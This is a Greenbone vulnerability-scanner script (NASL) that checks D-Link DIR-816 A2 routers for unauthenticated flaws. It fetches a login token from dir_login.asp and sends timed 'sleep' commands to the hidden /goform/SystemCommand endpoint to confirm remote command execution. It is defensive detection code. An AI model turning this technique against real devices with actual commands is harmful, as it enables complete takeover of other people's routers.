D-Link DIR-816 A2 <= 1.11 Multiple Vulnerabilities

# SPDX-FileCopyrightText: 2019 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/h:dlink:dir-816";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.113452");
  script_version("2025-03-20T05:38:32+0000");
  script_tag(name:"last_modification", value:"2025-03-20 05:38:32 +0000 (Thu, 20 Mar 2025)");
  script_tag(name:"creation_date", value:"2019-08-01 12:02:22 +0200 (Thu, 01 Aug 2019)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("D-Link DIR-816 A2 <= 1.11 Multiple Vulnerabilities");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2019 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_dlink_dir_consolidation.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("d-link/dir/detected", "d-link/dir/model");

  script_tag(name:"summary", value:"D-Link DIR-816 devices are prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Tries to execute a command on the device.");

  script_tag(name:"insight", value:"The following vulnerabilities exist:

  - An attacker can get a token from dir_login.asp and use an API URL /goform/setSysAdm to edit the
  web or system account without authentication.

  - An attacker can get a token from dir_login.asp and use a hidden API URL /goform/SystemCommand to
  execute a system command without authentication.

  - An attacker can get a token from dir_login.asp and use a hidden API URL
  /goform/form2userconfig.cgi to edit the system account without authentication.

  - An attacker can get a token form dir_login.asp and use a hidden API URL
  /goform/LoadDefaultSettings to reset the router without authentication.");

  script_tag(name:"impact", value:"Successful exploitation would allow an attacker to gain
  complete control over the target device.");

  script_tag(name:"affected", value:"D-Link DIR-816 A2 through firmware version 1.11.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since
  the disclosure of this vulnerability. Likely none will be provided anymore. General solution options
  are to upgrade to a newer release, disable respective features, remove the product or replace the
  product by another one.");

  script_xref(name:"URL", value:"https://github.com/PAGalaxyLab/VulInfo/blob/master/D-Link/DIR-816/remote_cmd_exec_0/README.md");
  script_xref(name:"URL", value:"https://github.com/PAGalaxyLab/VulInfo/blob/master/D-Link/DIR-816/edit_sys_account/README.md");
  script_xref(name:"URL", value:"https://github.com/PAGalaxyLab/VulInfo/blob/master/D-Link/DIR-816/reset_router/README.md");

  exit(0);
}

include("host_details.inc");
include("misc_func.inc");
include("list_array_func.inc");
include("http_func.inc");
include("http_keepalive.inc");

if( ! port = get_app_port( cpe: CPE ) )
  exit( 0 );

if( ! get_app_location( cpe: CPE, port: port, nofork: TRUE ) )
  exit( 0 );

start = unixtime();
req = http_get( item: "/dir_login.asp", port: port );
buf = http_keepalive_send_recv( data: req, port: port );
stop = unixtime();
tk = eregmatch( string: buf, pattern: 'name=["\']tokenid["\'] *value=["\']([0-9a-z]+)["\']' );
if( ! token = tk[1] )
  exit( 0 );

latency = stop - start;

vuln_url = "/goform/SystemCommand";

count = 0;
i = 0;
add_headers = make_array( 'Content-Type', 'application/x-www-form-urlencoded' );

report = 'It was possible to execute multiple "sleep" commands on the target system and verify the existence of the vulnerability by checking the response time.\n\n';
info['Affected URL'] = http_report_vuln_url( port: port, url: vuln_url, url_only: TRUE );
info['HTTP Method'] = "POST";

foreach sleep ( make_list( 3, 5, 7 ) ) {
  ++i;
  data = 'command=sleep ' + sleep + '&tokenid=' + token;
  req = http_post_put_req( port: port, url: vuln_url, add_headers: add_headers, data: data, host_header_use_ip: TRUE );

  start = unixtime();
  res = http_keepalive_send_recv( data: req, port: port );
  stop = unixtime();

  time = stop - start;
  if( time >= sleep && time <= ( sleep + latency ) ) {
    count++;
    info[string("HTTP POST body ", i, ":")] = data;
    info[string("HTTP POST body ", i, " response time:")] = time;
  }
}

if( count >= 2 ) {
  report += text_format_table( array: info );
  security_message( data: report, port: port );
  exit( 0 );
}

exit( 99 );